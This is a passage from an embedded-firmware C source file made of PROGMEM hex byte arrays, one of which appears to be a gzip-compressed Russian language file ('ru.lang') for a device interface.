0xe8, 0xab, 0x3f, 0x7c, 0x79, 0xcb, 0x45, 0x21, 0x9e, 0xaf, 0x0c, 0x5a, 0x3e, 0xe3, 0xfe, 0x87, 0xe7, 0x69, 0x6f, 0x6c, 0x94, 0x4f, 0x11, 0x60, 0xb9, 0x47, 0x76, 0xda, 0x3e, 0xf1, 0x7d, 0x33, 0xe6, 0xfa, 0x9d, 0x6b, 0x64, 0xe4, 0xb6, 0x6b, 0xf4, 0x1b, 0xfa, 0xf1, 0xc9, 0x6d, 0xd7, 0x1f, 0xdd, 0x18, 0x00, 0xe9, 0xf7, 0xaf, 0xef, 0x0e, 0x28, 0xf3, 0x7c, 0xf1, 0x88, 0x21, 0xd4, 0x4a, 0x67, 0xab, 0xa1, 0x9f, 0x2f, 0x41, 0xf1, 0x5f, 0xbe, 0xf8, 0xbd, 0xc8, 0x55, 0xc5, 0x4e, 0x98, 0x8b, 0x2e, 0x7d, 0x0c, 0x47, 0x08, 0x33, 0xfa, 0x65, 0x39, 0x78, 0x74, 0xbb, 0x71, 0x82, 0x34, 0x40, 0x08, 0xe6, 0x0d, 0xe7, 0xd6, 0xc1, 0x13, 0xc7, 0x98, 0x07, 0x75, 0x21, 0xfa, 0xbf, 0x38, 0x71, 0x40, 0xf6, 0x7f, 0x3b, 0xd1, 0xf3, 0xb4, 0x9b, 0xf4, 0x56, 0xc4, 0xde, 0xbd, 0x63, 0xf4, 0xe7, 0x88, 0x01, 0x35, 0x68, 0xa5, 0x99, 0xb4, 0x57, 0xae, 0xa9, 0x87, 0x21, 0xdb, 0x14, 0x16, 0x31, 0xea, 0xa7, 0x38, 0xb2, 0x67, 0x87, 0x7c, 0x0c, 0xba, 0x52, 0x35, 0x33, 0x5e, 0xdf, 0x7d, 0x49, 0x70, 0x82, 0xbd, 0xd3, 0xe9, 0xb2, 0xaa, 0x69, 0x27, 0x65, 0x61, 0x94, 0xa7, 0xbe, 0x85, 0x73, 0xe5, 0x84, 0x48, 0xf0, 0x2d, 0x7d, 0xfa, 0x29, 0xd2, 0xef, 0x0c, 0x19, 0xb2, 0xe4, 0x4a, 0xb1, 0xcb, 0xd1, 0x23, 0xd4, 0xab, 0x40, 0x6e, 0x54, 0x76, 0xf5, 0x11, 0xa7, 0x96, 0xf5, 0xcf, 0xc4, 0xd3, 0xc1, 0x69, 0x08, 0x48, 0xca, 0xa0, 0x24, 0xcd, 0x61, 0xa2, 0x74, 0xd7, 0x56, 0xce, 0x94, 0x3f, 0xe0, 0x51, 0x66, 0xa1, 0xdf, 0x1a, 0x5f, 0xb9, 0xb7, 0xd2, 0x98, 0x55, 0x5d, 0xb1, 0xfb, 0x3f, 0x3a, 0x20, 0xd3, 0x07, 0x87, 0x6e, 0x46, 0x72, 0x9e, 0x9f, 0xf4, 0x06, 0xe6, 0xac, 0x2d, 0x7a, 0x9f, 0xd9, 0xdd, 0x35, 0x2e, 0x2f, 0xa9, 0xe3, 0x75, 0xdf, 0x67, 0x06, 0xc6, 0x0a, 0x22, 0x3a, 0xb1, 0x2d, 0xa2, 0x38, 0xa5, 0x7d, 0x11, 0xbe, 0xb0, 0x86, 0x82, 0xcb, 0x0d, 0xc8, 0x9b, 0x6f, 0x79, 0x34, 0x43, 0x3c, 0x45, 0x67, 0x81, 0xdf, 0x8a, 0x70, 0x89, 0x96, 0x08, 0x77, 0xd9, 0x76, 0x87, 0xb1, 0x91, 0x7a, 0x5b, 0x84, 0xde, 0xe5, 0x8c, 0x70, 0x04, 0xbf, 0x01, 0x0d, 0x7a, 0xf1, 0x14, 0xae, 0x72, 0x53, 0x96, 0x05, 0x04, 0xed, 0x70, 0xfc, 0xde, 0xa7, 0x9f, 0xfe, 0xb2, 0x1f, 0xcf, 0xf8, 0x06, 0x67, 0x95, 0x00, 0xcf, 0xec, 0x3d, 0x9f, 0xc1, 0x77, 0x79, 0xd4, 0x64, 0xfe, 0x46, 0x24, 0x53, 0x5e, 0x2b, 0xe2, 0x66, 0xcc, 0xaf, 0xe2, 0x42, 0xd5, 0xf3, 0xd4, 0x00, 0x37, 0xbd, 0x02, 0x96, 0x52, 0xf9, 0x57, 0x8a, 0x3b, 0xc8, 0x1d, 0x7c, 0x40, 0x9c, 0x18, 0x62, 0x6a, 0x97, 0xf8, 0xaa, 0xec, 0xd1, 0xf4, 0xda, 0xb9, 0x92, 0x20, 0xc6, 0x22, 0x0f, 0xb4, 0x50, 0x3f, 0x52, 0xa3, 0x17, 0x2e, 0xf9, 0xf8, 0xc6, 0xd4, 0x0f, 0x25, 0x61, 0xec, 0xbd, 0xbd, 0xfe, 0xf6, 0x98, 0xfd, 0x39, 0xbb, 0x20, 0xf7, 0xd7, 0x8c, 0x35, 0xce, 0x4b, 0xe2, 0x99, 0xe9, 0x8d, 0x83, 0x0e, 0x5e, 0xd8, 0x9d, 0x58, 0x89, 0xe6, 0x48, 0xe6, 0x32, 0x40, 0x67, 0x45, 0xa3, 0xa3, 0x7d, 0xf7, 0x13, 0x07, 0x3e, 0x74, 0x3c, 0x90, 0xf0, 0x59, 0xac, 0x08, 0xf1, 0x43, 0x85, 0x8d, 0x04, 0x49, 0x21, 0x53, 0x49, 0x0c, 0x57, 0xef, 0x0a, 0x57, 0x0e, 0x27, 0xcf, 0xa5, 0x3f, 0xd6, 0x36, 0x47, 0x79, 0xca, 0xad, 0x9b, 0x68, 0x15, 0x23, 0xc3, 0xc3, 0x33, 0x41, 0x7e, 0x64, 0x95, 0xe5, 0x0d, 0x7a, 0x30, 0x50, 0xc9, 0xf6, 0x53, 0x25, 0x32, 0x80, 0xaf, 0x9f, 0xc6, 0x5d, 0x99, 0x48, 0x28, 0x5f, 0x67, 0xee, 0x91, 0x8f, 0x6d, 0x62, 0xe1, 0xd6, 0xe3, 0x4b, 0x17, 0x7f, 0xe4, 0x78, 0xdc, 0x45, 0xbf, 0x8d, 0x1a, 0x45, 0x3a, 0x71, 0x62, 0x9c, 0x35, 0x40, 0xeb, 0x28, 0x81, 0xf7, 0xad, 0x1a, 0x1b, 0x0c, 0x02, 0x0f, 0x50, 0x5f, 0xff, 0x6d, 0x70, 0x7a, 0x52, 0x2f, 0xf2, 0xd4, 0x6e, 0x12, 0x94, 0xe8, 0xc4, 0x94, 0xfb, 0xd9, 0xb4, 0x3d, 0x8b, 0xdb, 0xcc, 0xf6, 0x0a, 0x6b, 0x22, 0x1a, 0x1c, 0x7c, 0xa4, 0x04, 0x88, 0x08, 0xf4, 0x98, 0xf0, 0x00, 0x48, 0x0c, 0x64, 0x2b, 0xc9, 0xca, 0xb1, 0xea, 0x67, 0x55, 0x77, 0x9f, 0xff, 0xed, 0x46, 0x47, 0xf3, 0xb2, 0x24, 0x4a, 0x46, 0xa5, 0x64, 0x14, 0xc3, 0xdd, 0x77, 0x5e, 0xbd, 0x50, 0xb6, 0xd7, 0xb8, 0xc9, 0x59, 0x44, 0xba, 0xb4, 0x89, 0xf0, 0xd1, 0xff, 0x10, 0xdc, 0xf8, 0xf7, 0x8d, 0xff, 0x00, 0x84, 0xfb, 0xb0, 0x03, 0x53, 0x18, 0x00, 0x00};\nconst char rulang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x72, 0x75, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xb5, 0x5b, 0x5f, 0x6f, 0x1b, 0xc7, 0x11, 0x7f, 0x6e, 0x3e, 0xc5, 0xd9, 0x4f, 0x36, 0x40, 0xa9, 0xb2, 0xd3, 0x00, 0x69, 0x80, 0x3e, 0xb8, 0x8d, 0x5d, 0x18, 0x68, 0x01, 0x23, 0x4a, 0xda, 0x3e, 0x04, 0x10, 0x28, 0xe9, 0x14, 0xb3, 0x95, 0x48, 0x81, 0xa4, 0xad, 0x14, 0x45, 0x01, 0x53, 0xb4, 0x6a, 0xbb, 0x52, 0xad, 0x20, 0xb0, 0x1b, 0x23, 0xa8, 0xed, 0x24, 0x06, 0x9a, 0x87, 0xa2, 0x08, 0x45, 0xf1, 0xac, 0xe3, 0xbf, 0x13, 0xe0, 0x4f, 0x70, 0xfc, 0x46, 0x9d, 0xf9, 0xcd, 0xec, 0xde, 0xee, 0xdd, 0x31, 0xb2, 0x1b, 0x24, 0x0f, 0x0a, 0x79, 0xdc, 0xdb, 0x9d, 0xff, 0xf3, 0x9b, 0x99, 0xf5, 0x5f, 0xde, 0x0a, 0xe8, 0xbf, 0xf3, 0x9b, 0xd5, 0xfa, 0x27, 0xe7, 0xdf, 0x0b, 0xce, 0x37, 0x6f, 0x9d, 0xaf, 0xc8, 0x93, 0x9d, 0x6a, 0xb3, 0x5e, 0x93, 0x87, 0xe9, 0xf3, 0xf4, 0xab, 0xf4, 0x71, 0xfa, 0x28, 0x7d, 0xa1, 0x9f, 0xfe, 0x49, 0x9f, 0x1f, 0xa7, 0x4f, 0xd3, 0x27, 0xe9, 0x63, 0xb3, 0x7c, 0xbd, 0xd6, 0x5a, 0xdb, 0xac, 0xd6, 0xb6, 0xc2, 0x26, 0xde, 0xf8, 0xef, 0x6c, 0x37, 0x4d, 0x66, 0xbb, 0x41, 0x7a, 0x3a, 0xbb, 0x93, 0x26, 0x69, 0x94, 0x8e, 0xf8, 0xcb, 0x84, 0x3e, 0xbe, 0x4c, 0xa7, 0x69, 0x12, 0xa4, 0xf1, 0xac, 0x93, 0x9e, 0xd2, 0xd7, 0xf1, 0xec, 0x20, 0x3d, 0xa1, 0xff, 0xf7, 0xd3, 0xde, 0x6c, 0x77, 0x76, 0x10, 0xf0, 0x7b, 0x78, 0x38, 0xe2, 0x55, 0x03, 0xfa, 0x78, 0xc8, 0xcf, 0xa2, 0x59, 0x87, 0xfe, 0xc6, 0xd8, 0x8c, 0x96, 0xd2, 0x1e, 0x31, 0xfd, 0x90, 0xc6, 0x41, 0xda, 0x0f, 0xe8, 0xd1, 0x11, 0xfd, 0xd0, 0xcb, 0xf6, 0xa1, 0xf3, 0x78, 0x8b, 0xe9, 0x6c, 0x7f, 0xb6, 0x17, 0xcc, 0xfe, 0x86, 0xaf, 0x87, 0xb3, 0xbd, 0xc5, 0xe0, 0xe3, 0x7a, 0x90, 0x3e, 0x71, 0x4f, 0x9e, 0x75, 0xd3, 0x21, 0xaf, 0x0f, 0x68, 0xcd, 0x31, 0x9d, 0x58, 0x7a, 0x7c, 0x87, 0x76, 0x4d, 0xe8, 0xc0, 0x3d, 0xfe, 0x18, 0x61, 0xfb, 0x21, 0x9f, 0x3d, 0xeb, 0x32, 0x55, 0xa0, 0x69, 0x08, 0xfa, 0xfa, 0xe7, 0x4a, 0x4f, 0x88, 0x98, 0xf7, 0x01, 0xbf, 0x25, 0xab, 0x68, 0x2b, 0x87, 0x44, 0x3a, 0x7c, 0x76, 0x97, 0x36, 0xa1, 0x9f, 0xd3, 0xc9, 0x6c, 0x3f, 0xf8, 0x7d, 0x6d, 0xe1, 0x5a, 0xad, 0xc2, 0x5c, 0x9d, 0x42, 0x4a, 0xcc, 0xac, 0x2c, 0x23, 0x5e, 0xb1, 0x01, 0x3f, 0x19, 0x10, 0x9f, 0x77, 0x40, 0xf9, 0xf5, 0xab, 0x57, 0xaf, 0x06, 0xef, 0x2e, 0x5d, 0x5e, 0xbc, 0x74, 0x89, 0xde, 0x9a, 0xf2, 0xba, 0xa3, 0x74, 0x4c, 0xaf, 0x8f, 0x58, 0x5e, 0xe6, 0xf8, 0x58, 0x7f, 0x62, 0x7d, 0x44, 0xf4, 0x78, 0x1f, 0x62, 0xc4, 0x4f, 0x23, 0xfa, 0x40, 0x6b, 0xd3, 0x68, 0x81, 0x5e, 0x8b, 0xe9, 0x65, 0x12, 0xc3, 0x3d, 0xda, 0xbe, 0x23, 0x3a, 0x9c, 0xed, 0x2f, 0x7e, 0x5c, 0x27, 0xc5, 0xb3, 0xea, 0x7a, 0x44, 0x74, 0x57, 0xd9, 0xe8, 0x81, 0xc6, 0x13, 0xda, 0x96, 0x5f, 0x4f, 0x88, 0xf6, 0x03, 0x55, 0x14, 0x69, 0xb1, 0x23, 0x27, 0xf5, 0x20, 0xb9, 0x3e, 0x9d, 0x36, 0x11, 0x0a, 0x12, 0x7a, 0x38, 0xa1, 0xc7, 0x13, 0x51, 0x9d, 0x8a, 0x36, 0x4a, 0x27, 0x81, 0x8a, 0xb2, 0xc7, 0xbc, 0x56, 0x94, 0x4e, 0x3a, 0x71, 0xc0, 0xe2, 0xb9, 0x87, 0x15, 0xf3, 0x6d, 0xe6, 0x1f, 0xc6, 0xda, 0x98, 0x8e, 0x01, 0xab, 0x79, 0x2e, 0xc5, 0x10, 0x82, 0x1a, 0xcc, 0xec, 0x01, 0xfd, 0x3c, 0xb4, 0x44, 0xa7, 0x23, 0xdd, 0x89, 0x58, 0xe9, 0x7a, 0x96, 0xcb, 0x5f, 0x21, 0xa5, 0xe0, 0xd5, 0x7f, 0xfe, 0x58, 0xdd, 0x22, 0x23, 0x7f, 0x35, 0xae, 0x10, 0x59, 0xbc, 0x38, 0x10, 0x92, 0xc0, 0x1b, 0xb3, 0x70, 0x30, 0x7b, 0x28, 0x8f, 0x06, 0x9e, 0x94, 0xc1, 0x4e, 0x4f, 0x75, 0xde, 0xa5, 0x35, 0x6a, 0x96, 0x86, 0x7a, 0x58, 0x9f, 0x7b, 0x66, 0xda, 0x63, 0x63, 0x4a, 0x1f, 0x13, 0xcf, 0x63, 0x08, 0x8b, 0x4c, 0x43, 0x96, 0xb2, 0xd4, 0xd8, 0x9a, 0xc6, 0xb2, 0x75, 0x1a, 0x55, 0xec, 0x0f, 0x39, 0xeb, 0x4d, 0x40, 0xf5, 0x4b, 0x5e, 0x95, 0x91, 0xcb, 0x1b, 0xc1, 0x7f, 0xee, 0xa9, 0xcd, 0xab, 0x61, 0xd0, 0x6a, 0x7a, 0x0a, 0xed, 0xe0, 0xc0, 0x38, 0x3d, 0x09, 0x0c, 0x65, 0xf6, 0xed, 0x4c, 0xd4, 0x9e, 0x63, 0xab, 0x1d, 0xb0, 0xd9, 0xf0, 0x61, 0xe2, 0x68, 0xcf, 0x49, 0xf0, 0x47, 0x30, 0x29, 0xa2, 0x82, 0xd8, 0x85, 0xc7, 0xb2, 0x86, 0xa6, 0x30, 0x7f, 0xfe, 0xdb, 0x83, 0x2e, 0xac, 0xd8, 0xd9, 0x72, 0x23, 0x3a, 0x16, 0x36, 0x45, 0xce, 0x07, 0x0b, 0x60, 0x35, 0x29, 0xa1, 0xac, 0xb7, 0xbf, 0x93, 0x27, 0x77, 0x98, 0x64, 0x13, 0x03, 0x4e, 0x95, 0xcd, 0x93, 0x4c, 0xda, 0x39, 0x66, 0x3d, 0x61, 0x95, 0xcb, 0xea, 0x84, 0x49, 0x19, 0x29, 0xb1, 0x71, 0x25, 0x80, 0xd4, 0xc9, 0x7a, 0x59, 0xf3, 0xb1, 0xec, 0x30, 0xa5, 0xb5, 0xc7, 0x10, 0x8c, 0x48, 0x8c, 0xb8, 0xeb, 0x43, 0xba, 0x66, 0x63, 0x7a, 0x57, 0x38, 0x1b, 0x83, 0x72, 0xd8, 0x8d, 0xaf, 0xf2, 0x0e, 0x38, 0x90, 0x18, 0xc0, 0xf4, 0x5b, 0x9b, 0xa9, 0xc8, 0x6f, 0xfc, 0xeb, 0x03, 0x8d, 0x75, 0x7d, 0x4b, 0xd6, 0xd4, 0xc4, 0x1b, 0x76, 0x4d, 0x32, 0xaa, 0x03, 0x5a, 0xd5, 0xd5, 0xdf, 0xc8, 0xb8, 0x89, 0xd5, 0xfb, 0x74, 0xf4, 0xb0, 0x10, 0x1b, 0x28, 0x92, 0x5c, 0xab, 0x05, 0xea, 0x0d, 0x8f, 0x10, 0xca, 0xd4, 0x7d, 0xba, 0xd0, 0xbd, 0xca, 0x6f, 0x80, 0x48, 0x23, 0x26, 0xec, 0x04, 0x26, 0x0e, 0x6a, 0xc2, 0xd2, 0x5d, 0xe3, 0xb5, 0xac, 0x43, 0x26, 0xe3, 0x94, 0xc9, 0x06, 0xd3, 0x58, 0xff, 0x1e, 0xe5, 0x80, 0x9f, 0x38, 0x09, 0x60, 0x61, 0xf5, 0x56, 0xbb, 0xdd, 0xa8, 0x23, 0x0f, 0x7c, 0xa7, 0x86, 0x42, 0x07, 0xc6, 0xa0, 0x6e, 0x1c, 0xe8, 0x0e, 0xb4, 0xf1, 0x21, 0x7d, 0x73, 0xf9, 0x86, 0xfd, 0x45, 0x50, 0x1a, 0xb1, 0x14, 0x61, 0xdb, 0x66, 0xb8, 0xd9, 0xa8, 0xae, 0x63, 0xaf, 0x67, 0xc4, 0xff, 0x14, 0x6e, 0x1f, 0xb3, 0xcc, 0xf0, 0x73, 0x6b, 0xad, 0x2a, 0x07, 0x7d, 0x0d, 0x1b, 0x98, 0x66, 0x29, 0x22, 0x5b, 0xd2, 0xaa, 0xad, 0xb7, 0x78, 0xcd, 0xf2, 0xf2, 0xf5, 0xf7, 0x5b, 0x78, 0x54, 0x6d, 0xb7, 0xab, 0x6b, 0x7f, 0xc2, 0xc3, 0xf4, 0x33, 0x90, 0x45, 0x4a, 0x97, 0xc5, 0x61, 0xbb, 0x4d, 0x59, 0x4f, 0x7e, 0xfa, 0x12, 0x54, 0xde, 0x25, 0xa2, 0x8e, 0x49, 0x64, 0x77, 0x8c, 0x11, 0x63, 0x61, 0xad, 0xbe, 0xd1, 0xc0, 0xa2, 0x27, 0x79, 0x09, 0x39, 0x0b, 0x56, 0x5a, 0xdb, 0x4a, 0x5e, 0xc9, 0x2a, 0x7a, 0x0c, 0x5a, 0x36, 0x37, 0xb1, 0xe2, 0x73, 0x16, 0x29, 0x9e, 0xac, 0xdd, 0xac, 0xd6, 0xeb, 0xe1, 0xa6, 0x92, 0xd0, 0x83, 0x33, 0x8c, 0x45, 0xc6, 0xe1, 0xed, 0xda, 0x5a, 0xd8, 0x52, 0x86, 0x93, 0xd9, 0x9e, 0x04, 0x4c, 0x91, 0x47, 0x49, 0x3a, 0x4a, 0x13, 0x65, 0x6a, 0x33, 0x5c, 0x6b, 0xaf, 0x64, 0x27, 0xed, 0x6b, 0xfc, 0xe3, 0xb7, 0x48, 0xda, 0xe6, 0xe0, 0xf5, 0x30, 0xb7, 0xf2, 0x19, 0x6d, 0x32, 0x51, 0x4b, 0xc9, 0xad, 0x6d, 0x86, 0x5b, 0x8d, 0xdb, 0xa1, 0x5d, 0xf9, 0x82, 0x8d, 0x8e, 0xdd, 0x27, 0xbf, 0xae, 0xd5, 0xae, 0xb6, 0x6b, 0x8d, 0xfa, 0x0a, 0x2b, 0x6a, 0xa5, 0x4d, 0xe6, 0xa1, 0x24, 0x70, 0x38, 0x9c, 0x48, 0x72, 0xcd, 0x29, 0x4e, 0xed, 0xd2, 0x58, 0x33, 0x8c, 0x6e, 0x88, 0xbd, 0xea, 0xe1, 0x0e, 0xde, 0x7e, 0x8a, 0x85, 0x89, 0x39, 0xa1, 0x7a, 0x3b, 0x2c, 0x97, 0x88, 0xc8, 0x77, 0x5d, 0xac, 0xe7, 0x11, 0x5b, 0x19, 0x12, 0x92, 0xf7, 0xdb, 0x8a, 0xb0, 0x1c, 0xae, 0xab, 0xb8, 0xc7, 0x12, 0x06, 0x5d, 0x2b, 0x82, 0x41, 0x2a, 0xc4, 0x30, 0xa9, 0xf8, 0xca, 0x0d, 0xb1, 0x24, 0x92, 0x41, 0x73, 0xa7, 0x59, 0x6b, 0x0b, 0x05, 0x5f, 0x08, 0xf8, 0x40, 0x8a, 0x35, 0x67, 0x30, 0xcf, 0x2b, 0xb5, 0x7a, 0x3b, 0x6c, 0xde, 0xae, 0x6e, 0xba, 0xcc, 0x9b, 0x08, 0x60, 0xdc, 0x4c, 0x5e, 0xec, 0x5b, 0x65, 0xd7, 0x6f, 0x6d, 0xad, 0x2a, 0x9a, 0x62, 0x86, 0x27, 0xfc, 0xb3, 0xec, 0x58, 0x6d, 0x7e, 0x12, 0xb6, 0xc5, 0x0a, 0xfe, 0x8d, 0x70, 0x13, 0x5b, 0x5f, 0x58, 0x31, 0x76, 0xb9, 0x10, 0xd0, 0x5b, 0x1c, 0x9d, 0x26, 0xe2, 0xa4, 0x94, 0xb9, 0xca, 0x7d, 0xe4, 0x55, 0xe6, 0x91, 0x03, 0x64, 0xcc, 0x81, 0xbc, 0x50, 0xb1, 0x91, 0x95, 0x75, 0x14, 0xc3, 0x37, 0x87, 0x92, 0xb0, 0x23, 0xc4, 0x4e, 0x5a, 0xc7, 0x7f, 0x11, 0xac, 0x03, 0xec, 0x76, 0x5f, 0x02, 0xd5, 0x29, 0x87, 0x4e, 0x89, 0x88, 0x36, 0xb3, 0x1c, 0x33, 0x9e, 0xe0, 0xaf, 0x14, 0x96, 0x2e, 0xd0, 0x8b, 0x63, 0x1b, 0x45, 0x4d, 0xd0, 0x02, 0x14, 0x39, 0x01, 0x3b, 0x11, 0x84, 0x3c, 0xb9, 0x48, 0x24, 0xf4, 0x10, 0xe7, 0x10, 0x95, 0x26, 0x92, 0x16, 0x3c, 0x8e, 0x72, 0x21, 0xe1, 0xd5, 0x98, 0xa3, 0x1d, 0xb1, 0xfe, 0x39, 0xad, 0x3f, 0x5a, 0xc8, 0xc4, 0x4a, 0xbe, 0x07, 0xf4, 0x15, 0x70, 0xe8, 0xe4, 0x68, 0xce, 0x87, 0x71, 0x5c, 0x1d, 0x68, 0x04, 0xee, 0x12, 0x95, 0x74, 0x6c, 0x20, 0x61, 0xb7, 0xff, 0x3a, 0xe6, 0x29, 0x01, 0xb0, 0x22, 0x20, 0x94, 0x21, 0x4d, 0xc0, 0x61, 0xde, 0xe0, 0xdb, 0xec, 0x1c, 0xf0, 0x8d, 0x57, 0x8d, 0x94, 0x29, 0xcf, 0xcc, 0x1e, 0x4a, 0x44, 0x24, 0xb8, 0xd0, 0x99, 0x1d, 0x9e, 0x13, 0xaa, 0xcb, 0x11, 0x0b, 0x8c, 0x0f, 0xb6, 0x21, 0x6c, 0xfb, 0x89, 0x8b, 0xf7, 0xa3, 0x63, 0x2d, 0x9c, 0xe0, 0xad, 0xb2, 0xb0, 0xe7, 0x9a, 0x83, 0x81, 0xe4, 0x00, 0x51, 0x31, 0xe2, 0xee, 0x28, 0xe0, 0x98, 0x98, 0x03, 0x56, 0x82, 0x18, 0x99, 0x2c, 0x03, 0x80, 0xa1, 0x00, 0xc4, 0xc8, 0x00, 0xe1, 0xeb, 0x10, 0x56, 0xc1, 0xdf, 0x4e, 0xe0, 0x2d, 0xe4, 0xfa, 0x2a, 0xf7, 0x2f, 0xa1, 0xa0, 0x01, 0x51, 0x3c, 0xd4, 0xad, 0x05, 0xf2, 0xab, 0x1c, 0x12, 0x88, 0xe4, 0x0e, 0x92, 0x3a, 0x1c, 0x8b, 0xc4, 0x1f, 0xbc, 0x7d, 0x59, 0x0c, 0x6c, 0x02, 0x9f, 0x1e, 0xdb, 0xbd, 0x9e, 0xb2, 0xed, 0x90, 0xf2, 0x45, 0x94, 0x02, 0x2e, 0x8d, 0x09, 0xc8, 0xeb, 0x30, 0xe9, 0x9c, 0xcf, 0x33, 0x30, 0x03, 0xc8, 0x38, 0x66, 0xb2, 0x14, 0x00, 0x24, 0x08, 0x8b, 0x11, 0x62, 0xd4, 0xc8, 0xab, 0x23, 0xd8, 0x0e, 0x99, 0x50, 0x63, 0x37, 0x02, 0x17, 0x98, 0x8c, 0x97, 0x6c, 0x84, 0x85, 0xf3, 0x0a, 0x06, 0x67, 0xb2, 0xe1, 0x98, 0x89, 0x1b, 0xe5, 0xc3, 0x87, 0x1a, 0x8b, 0x39, 0xc1, 0x49, 0x3e, 0xae, 0x66, 0x70, 0xaa, 0x15, 0x94, 0xba, 0x8c, 0x1a, 0xee, 0xa1, 0x84, 0xf6, 0x0e, 0xb0, 0xd6, 0x00, 0x7e, 0x68, 0xf3, 0x24, 0x67, 0xd6, 0x58, 0x64, 0x74, 0xca, 0xc1, 0x9f, 0xce, 0x8f, 0x1c, 0x65, 0x9d, 0x33, 0xbe, 0x90, 0xb7, 0xcd, 0xbe, 0x97, 0x00, 0x2c, 0x10, 0x2d, 0x6a, 0x7b, 0x3d, 0xac, 0xde, 0x6a, 0xdf, 0x5c, 0x2c, 0xd9, 0x87, 0x7d, 0x85, 0x89, 0xb2, 0xc2, 0x8f, 0x34, 0x34, 0x1a, 0xbd, 0xbf, 0xa9, 0xe5, 0xf8, 0xc1, 0x8a, 0xbd, 0x11, 0x1a, 0x63, 0xde, 0x8e, 0x51, 0xc5, 0x9c, 0x88, 0xc4, 0x0d, 0xb4, 0x23, 0x06, 0xf6, 0x01, 0x08, 0x5d, 0x75, 0x88, 0xbb, 0x26, 0x00, 0x1c, 0x1d, 0xb1, 0x30, 0xb3, 0xd1, 0x00, 0xe8, 0x14, 0x81, 0x8e, 0xe9, 0x91, 0x10, 0xd6, 0xb7, 0x4a, 0x31, 0x79, 0xdf, 0x8f, 0x9f, 0x11, 0x76, 0xdb, 0x05, 0xea, 0xda, 0x57, 0xeb, 0xcb, 0x72, 0x2c, 0xd8, 0x52, 0xcb, 0x3a, 0x62, 0x80, 0x07, 0x58, 0x5c, 0x42, 0x38, 0xad, 0x2b, 0xe5, 0x72, 0x9e, 0xfd, 0x3a, 0x1c, 0x02, 0x42, 0x47, 0x12, 0x93, 0x25, 0x56, 0x38, 0xd8, 0x16, 0x21, 0x57, 0x90, 0xba, 0xa6, 0x93, 0x0c, 0x14, 0xb3, 0x69, 0x64, 0x0f, 0xa9, 0x86, 0x33, 0x9c, 0x02, 0x97, 0xe4, 0xaa, 0xf5, 0xcf, 0x81, 0x77, 0x01, 0x0b, 0x7b, 0x1a, 0xb6, 0xb5, 0x00, 0x1b, 0xb0, 0x68, 0x05, 0xfe, 0x9a, 0x5c, 0x95, 0x00, 0x6e, 0x1e, 0x89, 0x52, 0xe7, 0xe8, 0x09, 0x81, 0x5d, 0x8a, 0xab, 0x20, 0x43, 0x8c, 0x13, 0x75, 0xc4, 0xd8, 0xba, 0xb2, 0xe3, 0x3d, 0x70, 0xbb, 0x5c, 0xf5, 0xce, 0xc7, 0x4d, 0xd4, 0xa3, 0xa0, 0x05, 0x6b, 0x57, 0x03, 0x03, 0xac, 0x11, 0xd7, 0x35, 0xf1, 0xb0, 0xaa, 0xc6, 0xa8, 0x1c, 0x58, 0xe2, 0x06, 0x7e, 0x34, 0xdb, 0x2b, 0xad, 0x76, 0x63, 0x5b, 0x21, 0xc2, 0x37, 0xe9, 0x67, 0xe9, 0x57, 0xe9, 0x37, 0xc1, 0x4f, 0x03, 0x7c, 0x79, 0x96, 0x3e, 0xcf, 0xd6, 0xf9, 0x4b, 0xf4, 0xb9, 0xf3, 0xa6, 0x59, 0xbc, 0x53, 0xdb, 0xa8, 0xad, 0x34, 0x36, 0x36, 0xf8, 0x07, 0x60, 0x6c, 0x40, 0x2a, 0x2f, 0xaa, 0x2b, 0x46, 0x5a, 0x6d, 0x34, 0xda, 0xda, 0x41, 0x99, 0x63, 0xcf, 0xba, 0x90, 0xec, 0x4f, 0x8f, 0x39, 0x12, 0xeb, 0xc5, 0xf3, 0xb0, 0x5e, 0x5d, 0xdd, 0x0c, 0x57, 0x9a, 0xd5, 0xfa, 0x7a, 0x63, 0x4b, 0x34, 0xe5, 0x1f, 0x13, 0x10, 0xa1, 0x82, 0xf8, 0x19, 0x20, 0x88, 0xc4, 0xb4, 0x70, 0x26, 0xed, 0x1b, 0x5c, 0x5e, 0xd8, 0x24, 0x4f, 0xed, 0x6b, 0x6c, 0x23, 0xaf, 0xaf, 0x10, 0x44, 0x5c, 0x2b, 0x12, 0x22, 0xea, 0x36, 0x06, 0x34, 0x2c, 0xec, 0xe0, 0x74, 0x52, 0xb8, 0x52, 0x1c, 0xb8, 0x59, 0xd4, 0x79, 0x4b, 0xab, 0x60, 0x9b, 0xa0, 0x38, 0x56, 0x48, 0x34, 0xe9, 0x4b, 0x94, 0x1b, 0x58, 0x04, 0x56, 0xc4, 0x4c, 0x8b, 0x0a, 0x61, 0x39, 0x62, 0x65, 0x64, 0x7e, 0x81, 0x88, 0xef, 0xb5, 0x3b, 0xfc, 0x1c, 0x6c, 0x82, 0x29, 0xeb, 0x71, 0xa1, 0x88, 0xa0, 0x2b, 0x62, 0x55, 0xa6, 0x97, 0xc1, 0x6d, 0xa4, 0x43, 0xbf, 0x5d, 0x03, 0xe7, 0xe8, 0xd1, 0x9b, 0xa6, 0xa6, 0x8d, 0x51, 0x31, 0x8c, 0xb2, 0x72, 0xc9, 0x9a, 0x6c, 0x06, 0x35, 0x7a, 0x68, 0x36, 0xec, 0xa2, 0x2e, 0x1a, 0x49, 0x5c, 0x8d, 0x8b, 0x30, 0x73, 0x62, 0x4a, 0x52, 0x6c, 0x0c, 0x81, 0xb0, 0x30, 0x4b, 0x70, 0x3e, 0xed, 0xc0, 0x0e, 0x2e, 0x39, 0x1e, 0x20, 0x06, 0x21, 0xc1, 0x74, 0xdb, 0x7c, 0xc8, 0x20, 0xc9, 0x05, 0x5d, 0x8e, 0x2c, 0x98, 0x4c, 0x54, 0xfc, 0x31, 0x2a, 0xdb, 0xe2, 0x01, 0x8a, 0xe5, 0x72, 0x48, 0x01, 0x31, 0xaf, 0x50, 0x77, 0x4a, 0x33, 0x6a, 0x67, 0xe1, 0xf2, 0xd2, 0xd2, 0xcf, 0x25, 0x1b, 0xdb, 0x18, 0x3a, 0x94, 0x98, 0x1d, 0x61, 0x9b, 0x88, 0xad, 0x27, 0x53, 0xcc, 0x09, 0x4a, 0xfd, 0x58, 0xda, 0x2d, 0x40, 0x2a, 0xd2, 0x16, 0x18, 0x3a, 0x69, 0x24, 0xcb, 0xd3, 0x6f, 0x84, 0x89, 0x50, 0xca, 0xb9, 